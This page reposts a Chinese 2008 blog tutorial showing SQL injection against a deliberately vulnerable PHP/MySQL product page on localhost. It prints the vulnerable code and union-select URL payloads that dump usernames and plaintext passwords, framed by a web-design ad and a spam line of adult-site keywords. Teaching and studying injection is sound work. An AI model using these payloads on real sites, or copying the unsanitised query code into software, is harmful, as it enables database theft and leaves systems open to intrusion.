欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

一個(gè)PHP的SQL注入完整過程

成都創(chuàng)新互聯(lián)公司長期為上千客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對不同對象提供差異化的產(chǎn)品和服務(wù);打造開放共贏平臺(tái),與合作伙伴共同營造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為下陸企業(yè)提供專業(yè)的成都網(wǎng)站制作、網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)下陸網(wǎng)站改版等技術(shù)服務(wù)。擁有10年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開發(fā)。

一個(gè)PHP的SQL注入完整過程

(2008-04-16 15:10:47)

一個(gè)PHP的SQL注入完整過程轉(zhuǎn)載

標(biāo)簽:

雜談

分類: IT技術(shù)---信息安全

一個(gè)PHP的SQL注入完整過程

學(xué)了SQL注入的一些技能后,以下正對PHP+MySQL進(jìn)行SQL注入的簡單實(shí)踐
首先觀察兩個(gè)MYSQL數(shù)據(jù)表
用戶記錄表:
CREATE TABLE `php_user` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
`userlevel` char(2) NOT NULL default '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');
INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
產(chǎn)品記錄列表:
CREATE TABLE `php_product` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(100) NOT NULL default '',
`price` float NOT NULL default '0',
`img` varchar(200) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'p_w_picpaths/name_1.jpg');
INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'p_w_picpaths/name_2.jpg');

以下文件是show_product.php用于顯示產(chǎn)品列表。SQL注入也是利用此文件的SQL語句漏洞
<?php
$conn = mysql_connect("localhost", "root", "root");
if(!$conn){
echo "數(shù)據(jù)庫聯(lián)接錯(cuò)誤";
exit;
}
if (!mysql_select_db("phpsql")) {
  echo "選擇數(shù)據(jù)庫出錯(cuò)" . mysql_error();
  exit;
}
$tempID=$_GET['id'];
if($tempID<=0 || !isset($tempID)) $tempID=1;
$sql = "SELECT * FROM php_product WHERE id =$tempID";
echo $sql.'<br>';
$result = mysql_query($sql);
if (!$result) {
echo "查詢出錯(cuò)" . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "沒有查詢結(jié)果";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
  echo 'ID:'.$row["id"].'<br>';
  echo 'name:'.$row["name"].'<br>';
  echo 'price:'.$row["price"].'<br>';
echo 'p_w_picpath:'.$row["img"].'<br>';
}
?>
觀察此語句:$sql = "SELECT * FROM php_product WHERE id =$tempID";
$tempID是從$_GET得到。我們可以構(gòu)造這個(gè)變量的值,從而達(dá)到SQL注入的目的
分別構(gòu)造以下鏈接:
1、http://localhost/phpsql/index.php?id=1
得到以下輸出
SELECT * FROM php_product WHERE id =1 //當(dāng)前執(zhí)行的SQL語句
//得到ID為1的產(chǎn)品資料列表
ID:1
name:name_1
price:12.2
p_w_picpath:p_w_picpaths/name_1.jpg
2、http://localhost/phpsql/index.php?id=1 or 1=1
得到輸出
SELECT * FROM php_product WHERE id =1 or 1=1 //當(dāng)前執(zhí)行的SQL語句
//一共兩條產(chǎn)品資料列表
ID:1
name:name_1
price:12.2
p_w_picpath:p_w_picpaths/name_1.jpg
ID:2
name:name_2
price:35.25
p_w_picpath:p_w_picpaths/name_2.jpg
1和2都得到資料列表輸出,證明SQL語句執(zhí)行成功
3、判斷數(shù)據(jù)表字段數(shù)量
http://localhost/phpsql/index.php?id=1 union select 1,1,1,1
得到輸出
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //當(dāng)前執(zhí)行的SQL語句
//一共兩條記錄,注意第二條的記錄為全1,這是union select聯(lián)合查詢的結(jié)果。
ID:1
name:name_1
price:12.2
p_w_picpath:p_w_picpaths/name_1.jpg
ID:1
name:1
price:1
p_w_picpath:1
4、判斷數(shù)據(jù)表字段類型
http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)
得到輸出
SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)
ID:1
name:name_1
price:12.2
p_w_picpath:p_w_picpaths/name_1.jpg
ID:0
name:A
price:0
p_w_picpath:A
注意第二條記錄,如果后面的值等于A,說明這個(gè)字段與union查詢后面構(gòu)造的字段類型相符。此時(shí)union后面
為char(65),表示字符串類型。經(jīng)過觀察。可以發(fā)現(xiàn)name字段和p_w_picpath字段的類型都是字符串類型
5、大功告成,得到我們想要的東西:
http://localhost/phpsql/index.php?id=10000union select 1,username,1,password from php_user
得到輸出:
SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user
//輸出了兩條用戶資料,name為用戶名稱,p_w_picpath為用戶密碼。
ID:1
name:seven
price:1
p_w_picpath:seven_pwd
ID:1
name:swons
price:1
p_w_picpath:swons_pwd
注意URL中的ID=10000是為了不得到產(chǎn)品資料,只得到后面union的查詢結(jié)果。更具實(shí)際情況ID的值有所不同
union的username和password必須放在2和4的位置上。這樣才能和前面的select語句匹配。這是union查詢
語句的特點(diǎn)
備注:
這個(gè)簡單的注入方法是更具特定環(huán)境的。實(shí)際中比這復(fù)雜。但是原理是相同的。

網(wǎng)頁題目:一個(gè)PHP的SQL注入完整過程
網(wǎng)頁鏈接:http://www.chinadenli.net/article20/jdhsjo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供小程序開發(fā)企業(yè)網(wǎng)站制作靜態(tài)網(wǎng)站自適應(yīng)網(wǎng)站動(dòng)態(tài)網(wǎng)站Google

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)